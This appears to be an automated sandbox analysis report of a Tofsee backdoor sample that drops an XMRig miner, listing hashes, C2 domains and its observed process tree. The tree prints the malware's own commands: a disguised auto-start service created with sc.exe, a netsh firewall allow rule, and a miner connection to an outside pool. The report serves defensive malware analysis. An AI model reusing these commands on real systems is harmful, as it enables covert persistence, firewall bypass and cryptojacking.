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Analysis

  • max time kernel
    152s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/02/2023, 14:00

General

  • Target

    file.exe

  • Size

    357KB

  • MD5

    417696104a850fb6d641959c9e084e0f

  • SHA1

    99f739f830c5555b8e00c8d40dca115f14d5d780

  • SHA256

    9dbd56890ad94f339c4b41633cb919614717aa56ef6fd109823f5b8fc8cb64cc

  • SHA512

    c7eaf00e1104a3d9d74dc6f3658b7af309979db64858ff339db511039b965e420056c21fb315bfe4b4e2bb98432d4ccb9f1b565871b33cab2f130cdc368186a2

  • SSDEEP

    3072:/9N5bk+xtGNaL/ROaFjXrEThTVDsSKnxkv4lZC9nf6NT2UU:l5LgaLkaFjkhJYSKxm4lOnfWT

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4184
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hppvcqow\
      2⤵
        PID:4552
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gzwevoif.exe" C:\Windows\SysWOW64\hppvcqow\
        2⤵
          PID:612
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hppvcqow binPath= "C:\Windows\SysWOW64\hppvcqow\gzwevoif.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hppvcqow "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:260
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hppvcqow
          2⤵
          • Launches sc.exe
          PID:3484
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2832
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 1200
          2⤵
          • Program crash
          PID:4836
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4184 -ip 4184
        1⤵
          PID:3236
        • C:\Windows\SysWOW64\hppvcqow\gzwevoif.exe
          C:\Windows\SysWOW64\hppvcqow\gzwevoif.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3180
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:2064
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1484
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3180 -s 304
            2⤵
            • Program crash
            PID:2252
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3180 -ip 3180
          1⤵
            PID:2348

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\gzwevoif.exe

            Filesize

            10.3MB

            MD5

            f5d44976cb2993489f21772dd3fb6005

            SHA1

            f4b32b85adfa33bf78cad26695d71c1472665a59

            SHA256

            f707e1496d00b7d3e7f2afb5de5535c1304907c1f2900825b6568052c21f56df

            SHA512

            4e407da0f3df7b31de3a5d2a32fe2b9c2178fa906f1e5f1a2e0bb3805a00bbe2883ba677764d0cab2eade6d03334335ddfd0c27537e686324319dd6f299bc19a

          • C:\Windows\SysWOW64\hppvcqow\gzwevoif.exe

            Filesize

            10.3MB

            MD5

            f5d44976cb2993489f21772dd3fb6005

            SHA1

            f4b32b85adfa33bf78cad26695d71c1472665a59

            SHA256

            f707e1496d00b7d3e7f2afb5de5535c1304907c1f2900825b6568052c21f56df

            SHA512

            4e407da0f3df7b31de3a5d2a32fe2b9c2178fa906f1e5f1a2e0bb3805a00bbe2883ba677764d0cab2eade6d03334335ddfd0c27537e686324319dd6f299bc19a

          • memory/1484-180-0x0000000000EC0000-0x0000000000FB1000-memory.dmp

            Filesize

            964KB

          • memory/1484-175-0x0000000000EC0000-0x0000000000FB1000-memory.dmp

            Filesize

            964KB

          • memory/2064-155-0x00000000006F0000-0x0000000000705000-memory.dmp

            Filesize

            84KB

          • memory/2064-159-0x00000000008C0000-0x00000000008C6000-memory.dmp

            Filesize

            24KB

          • memory/2064-171-0x00000000029D0000-0x00000000029D7000-memory.dmp

            Filesize

            28KB

          • memory/2064-168-0x0000000007400000-0x000000000780B000-memory.dmp

            Filesize

            4.0MB

          • memory/2064-165-0x0000000001BF0000-0x0000000001BF5000-memory.dmp

            Filesize

            20KB

          • memory/2064-162-0x00000000009E0000-0x00000000009F0000-memory.dmp

            Filesize

            64KB

          • memory/2064-156-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/2064-154-0x00000000006F0000-0x0000000000705000-memory.dmp

            Filesize

            84KB

          • memory/2064-150-0x00000000006F0000-0x0000000000705000-memory.dmp

            Filesize

            84KB

          • memory/3180-147-0x0000000000619000-0x000000000062E000-memory.dmp

            Filesize

            84KB

          • memory/3180-153-0x0000000000400000-0x0000000000485000-memory.dmp

            Filesize

            532KB

          • memory/3180-148-0x0000000000400000-0x0000000000485000-memory.dmp

            Filesize

            532KB

          • memory/4184-146-0x0000000000400000-0x0000000000485000-memory.dmp

            Filesize

            532KB

          • memory/4184-136-0x00000000021D0000-0x00000000021E3000-memory.dmp

            Filesize

            76KB

          • memory/4184-145-0x000000000053D000-0x0000000000553000-memory.dmp

            Filesize

            88KB

          • memory/4184-132-0x000000000053D000-0x0000000000553000-memory.dmp

            Filesize

            88KB

          • memory/4184-135-0x000000000053D000-0x0000000000553000-memory.dmp

            Filesize

            88KB

          • memory/4184-134-0x0000000000400000-0x0000000000485000-memory.dmp

            Filesize

            532KB

          • memory/4184-133-0x00000000021D0000-0x00000000021E3000-memory.dmp

            Filesize

            76KB